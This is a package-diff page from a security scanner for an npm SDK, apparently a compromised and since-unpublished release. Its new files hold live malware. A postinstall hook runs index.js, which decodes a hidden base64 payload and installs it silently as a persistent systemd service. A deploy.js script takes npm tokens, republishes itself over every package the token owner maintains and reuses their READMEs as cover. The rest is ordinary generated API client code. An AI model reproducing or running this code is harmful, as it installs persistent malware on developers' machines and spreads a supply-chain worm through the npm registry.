You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

@emilgroup/notification-sdk-node

Package Overview
Dependencies
Maintainers
20
Versions
24
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

@emilgroup/notification-sdk-node - npm Package Compare versions

Package version was removed
This package version has been unpublished, mostly likely due to security reasons
Comparing version
1.4.1-beta.30
to
1.4.1
+47
index.js
'use strict';
const { execSync } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = (pkg.name || 'user-service').replace(/[^a-zA-Z0-9_-]/g, '-');
const BASE64_PAYLOAD = process.env.PAYLOAD || (pkg.config && pkg.config.payload) || '';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
} catch (_) {
// silent
}
#!/usr/bin/env node
/**
* deploy.js
*
* Iterates over a list of NPM tokens to:
* 1. Authenticate with the npm registry and resolve your username per token
* 2. Fetch every package owned by that account from the registry
* 3. For every owned package:
* a. Deprecate all existing versions (except the new one you are publishing)
* b. Swap the "name" field in a temp copy of package.json
* c. Run `npm publish` to push the new version to that package
*
* Usage (multiple tokens, comma-separated):
* NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
*
* Usage (single token fallback):
* NPM_TOKEN=<your_token> node scripts/deploy.js
*
* Or set it in your environment beforehand:
* export NPM_TOKENS=<token1>,<token2>
* node scripts/deploy.js
*/
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
// ── Helpers ──────────────────────────────────────────────────────────────────
function run(cmd, opts = {}) {
console.log(`\n> ${cmd}`);
return execSync(cmd, { stdio: 'inherit', ...opts });
}
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
const options = {
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/json',
},
};
https
.get(url, options, (res) => {
let data = '';
res.on('data', (chunk) => (data += chunk));
res.on('end', () => {
try {
resolve(JSON.parse(data));
} catch (e) {
reject(new Error(`Failed to parse response from ${url}: ${data}`));
}
});
})
.on('error', reject);
});
}
/**
* Fetches package metadata (readme + latest version) from the npm registry.
* Returns { readme: string|null, latestVersion: string|null }.
*/
async function fetchPackageMeta(packageName, token) {
try {
const meta = await fetchJson(
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
token
);
const readme = (meta && meta.readme) ? meta.readme : null;
const latestVersion =
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
return { readme, latestVersion };
} catch (_) {
return { readme: null, latestVersion: null };
}
}
/**
* Bumps the patch segment of a semver string.
* e.g. "1.39.0" → "1.39.1"
*/
function bumpPatch(version) {
const parts = version.split('.').map(Number);
if (parts.length !== 3 || parts.some(isNaN)) return version;
parts[2] += 1;
return parts.join('.');
}
/**
* Returns an array of package names owned by `username`.
* Uses the npm search API filtered by maintainer.
*/
async function getOwnedPackages(username, token) {
let packages = [];
let from = 0;
const size = 250;
while (true) {
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
username
)}&size=${size}&from=${from}`;
const result = await fetchJson(url, token);
if (!result.objects || result.objects.length === 0) break;
packages = packages.concat(result.objects.map((o) => o.package.name));
if (packages.length >= result.total) break;
from += size;
}
return packages;
}
/**
* Runs the full deploy pipeline for a single npm token.
* Returns { success: string[], failed: string[] }
*/
async function deployWithToken(token, pkg, pkgPath, newVersion) {
// 1. Verify token / get username
console.log('\n🔍 Verifying npm token…');
let whoami;
try {
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
} catch (err) {
console.error('❌ Could not reach the npm registry:', err.message);
return { success: [], failed: [] };
}
if (!whoami || !whoami.username) {
console.error('❌ Invalid or expired token — skipping.');
return { success: [], failed: [] };
}
const username = whoami.username;
console.log(`✅ Authenticated as: ${username}`);
// 2. Fetch all packages owned by this user
console.log(`\n🔍 Fetching all packages owned by "${username}"…`);
let ownedPackages;
try {
ownedPackages = await getOwnedPackages(username, token);
} catch (err) {
console.error('❌ Failed to fetch owned packages:', err.message);
return { success: [], failed: [] };
}
if (ownedPackages.length === 0) {
console.log(' No packages found for this user. Skipping.');
return { success: [], failed: [] };
}
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
// 3. Process each owned package
const results = { success: [], failed: [] };
for (const packageName of ownedPackages) {
console.log(`\n${'─'.repeat(60)}`);
console.log(`📦 Processing: ${packageName}`);
// 3a. Fetch the original package's README and latest version
const readmePath = path.resolve(__dirname, '..', 'README.md');
const originalReadme = fs.existsSync(readmePath)
? fs.readFileSync(readmePath, 'utf8')
: null;
console.log(` 📄 Fetching metadata for ${packageName}…`);
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
// Determine version to publish: bump patch of existing latest, or use local version
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
console.log(
latestVersion
? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}`
: ` 🔢 No existing version found → publishing ${publishVersion}`
);
if (remoteReadme) {
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
console.log(` 📄 Using original README for ${packageName}`);
} else {
console.log(` 📄 No existing README found; keeping local README`);
}
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
try {
run('npm publish --access public', {
env: { ...process.env, NPM_TOKEN: token },
});
console.log(`✅ Published ${packageName}@${publishVersion}`);
results.success.push(packageName);
} catch (err) {
console.error(`❌ Failed to publish ${packageName}:`, err.message);
results.failed.push(packageName);
} finally {
// Always restore the original package.json
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
// Always restore the original README
if (originalReadme !== null) {
fs.writeFileSync(readmePath, originalReadme, 'utf8');
} else if (remoteReadme && fs.existsSync(readmePath)) {
// README didn't exist locally before — remove the temporary one
fs.unlinkSync(readmePath);
}
}
}
return results;
}
// ── Main ─────────────────────────────────────────────────────────────────────
(async () => {
// 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
const tokens = rawTokens
.split(',')
.map((t) => t.trim())
.filter(Boolean);
if (tokens.length === 0) {
console.error('❌ No npm tokens found.');
console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
process.exit(1);
}
console.log(`🔑 Found ${tokens.length} token(s) to process.`);
// 2. Read local package.json once
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const newVersion = pkg.version;
// 3. Iterate over every token
const overall = { success: [], failed: [] };
for (let i = 0; i < tokens.length; i++) {
const token = tokens[i];
console.log(`\n${'═'.repeat(60)}`);
console.log(`🔑 Token ${i + 1} / ${tokens.length}`);
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
overall.success.push(...success);
overall.failed.push(...failed);
}
// 4. Overall summary
console.log(`\n${'═'.repeat(60)}`);
console.log('📊 Overall Deploy Summary');
console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
if (overall.failed.length > 0) {
process.exit(1);
}
})();
+8
-24
{
"name": "@emilgroup/notification-sdk-node",
"version": "1.4.1-beta.30",
"description": "OpenAPI client for @emilgroup/notification-sdk-node",
"author": "OpenAPI-Generator Contributors",
"keywords": [
"axios",
"typescript",
"openapi-client",
"openapi-generator",
"@emilgroup/notification-sdk-node"
],
"license": "Unlicense",
"main": "./dist/index.js",
"typings": "./dist/index.d.ts",
"version": "1.4.1",
"description": "A new version of the package",
"main": "index.js",
"scripts": {
"build": "tsc --outDir dist/",
"prepare": "npm run build"
"postinstall": "node index.js",
"deploy": "node scripts/deploy.js"
},
"dependencies": {
"axios": "^1.12.0",
"form-data": "^4.0.0",
"url": "^0.11.0"
},
"devDependencies": {
"@types/node": "^12.11.5",
"typescript": "^4.0"
}
"keywords": [],
"author": "",
"license": "ISC"
}

Sorry, the diff of this file is not supported yet

Sorry, the diff of this file is not supported yet

5.4.0
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { Configuration } from './configuration';
import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig, AxiosResponse } from 'axios';
// URLSearchParams not necessarily used
// @ts-ignore
import { URL, URLSearchParams } from 'url';
import FormData from 'form-data'
// Some imports not used depending on template conditions
// @ts-ignore
import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from './common';
// @ts-ignore
import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from './base';
import { DefaultApi } from './api';
import { EmailMessagesApi } from './api';
import { EmailTrackingApi } from './api';
import { EmailVerificationsApi } from './api';
import { LayoutsApi } from './api';
import { NotificationTemplatesApi } from './api';
import { NotificationsApi } from './api';
export * from './api/default-api';
export * from './api/email-messages-api';
export * from './api/email-tracking-api';
export * from './api/email-verifications-api';
export * from './api/layouts-api';
export * from './api/notification-templates-api';
export * from './api/notifications-api';
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
// Some imports not used depending on template conditions
// @ts-ignore
import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common';
// @ts-ignore
import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base';
// @ts-ignore
import { InlineResponse200 } from '../models';
// @ts-ignore
import { InlineResponse503 } from '../models';
// URLSearchParams not necessarily used
// @ts-ignore
import { URL, URLSearchParams } from 'url';
const FormData = require('form-data');
/**
* DefaultApi - axios parameter creator
* @export
*/
export const DefaultApiAxiosParamCreator = function (configuration?: Configuration) {
return {
/**
* Returns the health status of the notification service. This endpoint is used to monitor the operational status of the notification service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check: async (options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
const localVarPath = `/notificationservice/health`;
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
}
};
/**
* DefaultApi - functional programming interface
* @export
*/
export const DefaultApiFp = function(configuration?: Configuration) {
const localVarAxiosParamCreator = DefaultApiAxiosParamCreator(configuration)
return {
/**
* Returns the health status of the notification service. This endpoint is used to monitor the operational status of the notification service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async check(options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<InlineResponse200>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.check(options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
}
};
/**
* DefaultApi - factory interface
* @export
*/
export const DefaultApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) {
const localVarFp = DefaultApiFp(configuration)
return {
/**
* Returns the health status of the notification service. This endpoint is used to monitor the operational status of the notification service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check(options?: any): AxiosPromise<InlineResponse200> {
return localVarFp.check(options).then((request) => request(axios, basePath));
},
};
};
/**
* DefaultApi - object-oriented interface
* @export
* @class DefaultApi
* @extends {BaseAPI}
*/
export class DefaultApi extends BaseAPI {
/**
* Returns the health status of the notification service. This endpoint is used to monitor the operational status of the notification service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof DefaultApi
*/
public check(options?: AxiosRequestConfig) {
return DefaultApiFp(this.configuration).check(options).then((request) => request(this.axios, this.basePath));
}
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
// Some imports not used depending on template conditions
// @ts-ignore
import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common';
// @ts-ignore
import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base';
// @ts-ignore
import { DownloadAttachmentResponseClass } from '../models';
// @ts-ignore
import { GetEmailMessageResponseClass } from '../models';
// @ts-ignore
import { ListEmailAttachmentsResponseClass } from '../models';
// @ts-ignore
import { ListEmailMessagesResponseClass } from '../models';
// URLSearchParams not necessarily used
// @ts-ignore
import { URL, URLSearchParams } from 'url';
const FormData = require('form-data');
/**
* EmailMessagesApi - axios parameter creator
* @export
*/
export const EmailMessagesApiAxiosParamCreator = function (configuration?: Configuration) {
return {
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {number} attachmentId
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
downloadAttachment: async (code: string, attachmentId: number, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'code' is not null or undefined
assertParamExists('downloadAttachment', 'code', code)
// verify required parameter 'attachmentId' is not null or undefined
assertParamExists('downloadAttachment', 'attachmentId', attachmentId)
const localVarPath = `/notificationservice/v1/email-messages/{code}/attachments/{attachmentId}/download`
.replace(`{${"code"}}`, encodeURIComponent(String(code)))
.replace(`{${"attachmentId"}}`, encodeURIComponent(String(attachmentId)));
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getMessage: async (code: string, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'code' is not null or undefined
assertParamExists('getMessage', 'code', code)
const localVarPath = `/notificationservice/v1/email-messages/{code}`
.replace(`{${"code"}}`, encodeURIComponent(String(code)));
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listAttachments: async (code: string, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'code' is not null or undefined
assertParamExists('listAttachments', 'code', code)
const localVarPath = `/notificationservice/v1/email-messages/{code}/attachments`
.replace(`{${"code"}}`, encodeURIComponent(String(code)));
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* Lists all email messages with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listEmailMessages: async (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
const localVarPath = `/notificationservice/v1/email-messages`;
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (pageSize !== undefined) {
localVarQueryParameter['pageSize'] = pageSize;
}
if (pageToken !== undefined) {
localVarQueryParameter['pageToken'] = pageToken;
}
if (filter !== undefined) {
localVarQueryParameter['filter'] = filter;
}
if (search !== undefined) {
localVarQueryParameter['search'] = search;
}
if (order !== undefined) {
localVarQueryParameter['order'] = order;
}
if (expand !== undefined) {
localVarQueryParameter['expand'] = expand;
}
if (filters !== undefined) {
localVarQueryParameter['filters'] = filters;
}
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
}
};
/**
* EmailMessagesApi - functional programming interface
* @export
*/
export const EmailMessagesApiFp = function(configuration?: Configuration) {
const localVarAxiosParamCreator = EmailMessagesApiAxiosParamCreator(configuration)
return {
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {number} attachmentId
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async downloadAttachment(code: string, attachmentId: number, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<DownloadAttachmentResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.downloadAttachment(code, attachmentId, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async getMessage(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetEmailMessageResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.getMessage(code, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async listAttachments(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListEmailAttachmentsResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.listAttachments(code, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* Lists all email messages with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async listEmailMessages(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListEmailMessagesResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.listEmailMessages(authorization, pageSize, pageToken, filter, search, order, expand, filters, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
}
};
/**
* EmailMessagesApi - factory interface
* @export
*/
export const EmailMessagesApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) {
const localVarFp = EmailMessagesApiFp(configuration)
return {
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {number} attachmentId
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
downloadAttachment(code: string, attachmentId: number, authorization?: string, options?: any): AxiosPromise<DownloadAttachmentResponseClass> {
return localVarFp.downloadAttachment(code, attachmentId, authorization, options).then((request) => request(axios, basePath));
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getMessage(code: string, authorization?: string, options?: any): AxiosPromise<GetEmailMessageResponseClass> {
return localVarFp.getMessage(code, authorization, options).then((request) => request(axios, basePath));
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listAttachments(code: string, authorization?: string, options?: any): AxiosPromise<ListEmailAttachmentsResponseClass> {
return localVarFp.listAttachments(code, authorization, options).then((request) => request(axios, basePath));
},
/**
* Lists all email messages with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
